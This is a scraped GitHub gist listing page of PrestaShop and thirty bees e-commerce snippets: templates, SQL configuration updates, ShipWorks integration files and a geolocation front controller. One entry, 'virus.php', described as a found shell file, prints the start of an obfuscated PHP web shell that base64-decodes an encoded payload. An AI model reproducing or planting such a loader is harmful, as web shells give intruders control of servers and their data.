Skip to content

Instantly share code, notes, and snippets.

from __future__ import print_function
from prestapyt import PrestaShopWebServiceDict
from xml.etree import ElementTree
import sys
import json
if not sys.warnoptions:
import warnings
warnings.simplefilter("ignore")
@Dh42
Dh42 / breadcrumb.tpl
Created February 25, 2020 18:53
PrestaShop bread crumb
{*
* 2007-2015 PrestaShop
*
* NOTICE OF LICENSE
*
* This source file is subject to the Academic Free License (AFL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/afl-3.0.php
* If you did not receive a copy of the license and are unable to
@Dh42
Dh42 / theme.sql
Created July 9, 2019 20:08
theme.sql
SET NAMES 'utf8';
/* Values overriding module defaults, only. */
UPDATE `PREFIX_configuration` SET value = '1' WHERE name = 'MANUFACTURER_DISPLAY_FORM';
UPDATE `PREFIX_configuration` SET value = '1' WHERE name = 'SUPPLIER_DISPLAY_FORM';
UPDATE `PREFIX_configuration` SET value = '0_3|0_4' WHERE name = 'FOOTER_CMS';
UPDATE `PREFIX_configuration` SET value = '0_3|0_4' WHERE name = 'FOOTER_BLOCK_ACTIVATION';
UPDATE `PREFIX_configuration` SET value = 'CAT3,CAT8,CAT5,LNK1' WHERE name = 'MOD_BLOCKTOPMENU_ITEMS';
UPDATE `PREFIX_configuration` SET value = '0' WHERE name = 'MOD_BLOCKTOPMENU_SEARCH';
@Dh42
Dh42 / shipwork6.php
Created February 28, 2019 18:54
Shipworks adding tax
<?php
/*
|
| This file and the source codes contained herein are the property
| of Interapptive, Inc. Use of this file is restricted to the specific
| terms and conditions in the License Agreement associated with this
| file. Distribution of this file or portions of this file for uses
| not covered by the License Agreement is not allowed without a written
| agreement signed by an officer of Interapptive, Inc.
|
@Dh42
Dh42 / shipworks.php
Created February 12, 2019 15:20
Shipworks
<?php
/*
|
| This file and the source codes contained herein are the property
| of Interapptive, Inc. Use of this file is restricted to the specific
| terms and conditions in the License Agreement associated with this
| file. Distribution of this file or portions of this file for uses
| not covered by the License Agreement is not allowed without a written
| agreement signed by an officer of Interapptive, Inc.
|
<?php
/**
* 2007-2016 PrestaShop
*
* thirty bees is an extension to the PrestaShop e-commerce software developed by PrestaShop SA
* Copyright (C) 2017-2018 thirty bees
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
<?php
/**
* 2017 Thirty Bees
* 2007-2016 PrestaShop
*
* NOTICE OF LICENSE
*
* This source file is subject to the Academic Free License (AFL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
@Dh42
Dh42 / FrontController.php
Created September 27, 2018 21:45
thirty bees front controller using cloudflare geo-location
<?php
/**
* 2007-2016 PrestaShop.
*
* thirty bees is an extension to the PrestaShop e-commerce software developed by PrestaShop SA
* Copyright (C) 2017-2018 thirty bees
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
@Dh42
Dh42 / virus.php
Created February 23, 2018 05:05
a shell file i found
<?php $____=base64_decode('eJwMl2V/2+j2tb/l/8WhmXJTmCkFTUnMGDNIMsiSbRlkBrHMTHHAMYfTpGk7c87zAZ6+v1/s+7f3Wuta9fRqcawOrL2IDUIflbU/AuMXKcxtTccCdUnq7eA1iBJndqf96CxbX8G6JhiC0Zgs9C1cbh+frOpliJa40GdQ1MJjajCxLK9q7qLH5+tqQI+uSBc8TD7iRLcIR0MjNOsK219QArr9AXbeHNvJrzYX0aLi2xZx1pzYUeqzZ4cEQsovjVZPvVRp/oYgIyZXRkL2nyvDH0gkUAPfBuLn6CXDMsHjOKauMF650p7LkvGtbNZ1+MMpitwQj8/V5/Vbf8g0tHDzpMKitxt1urgnn7f9riIK1PBqSx95CL2WscwoiuiDT0rf5oTPLYR8qAsb5UrPow6PJRv7rInch+SYqdUIdWVr9tuLVgh/RKLVOI+fuy5emMoKGRuz5ck+Fb7QPgDJw6fIfBiNhHJ40Ps/k9d4Fb3BdFWX20Epst7SFjSX3EOB8tri3JqOt/lNgf4GFsuz4c5Vu5lhIlTQzVkSOwXN0jq3vYVZ2aih53esNCfP1ISDxDA13wvcjGfu5J/MVtTW3F+u/+ZTFyrz9J6e/Qbq5gVPr2TRHb4OXw56sJjY3HAKDvezz/1+GdnyznfKzXjsuLXVty3+wdHxVcRTbLnvwPDG+/mmXdbSUHQueCbOdt9FWT98mP328a8CTOoxefyoNb72aPtbnlyEHkxt4VkqvfpPlspeV7Eafe58Zw9F5YIudz3ygguUdcNnCzTsd9BgAWTunN973uz1AEWYXYE+a88GreuW+7JJwHO3geNpaOeJ9DaDvLysrsa3OSww3j34T1XgFnvgMAn9q/gNTrbuq0VQDNSS+hcI2D1bZCSFOKSBNel9bx8+FIrN3yf7rmAraiiU+bQtpF93R5lpDy5l9xXDWNQKN36vp8LURUOgyxH1Lc0Z1hUFjgiVjK/ODKVhwpGsBKj84U7gqMbRqcxuI
@Dh42
Dh42 / informations.tpl
Last active December 4, 2017 19:58
Adding new from date to product page
{*
* 2007-2016 PrestaShop
*
* NOTICE OF LICENSE
*
* This source file is subject to the Academic Free License (AFL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/afl-3.0.php
* If you did not receive a copy of the license and are unable to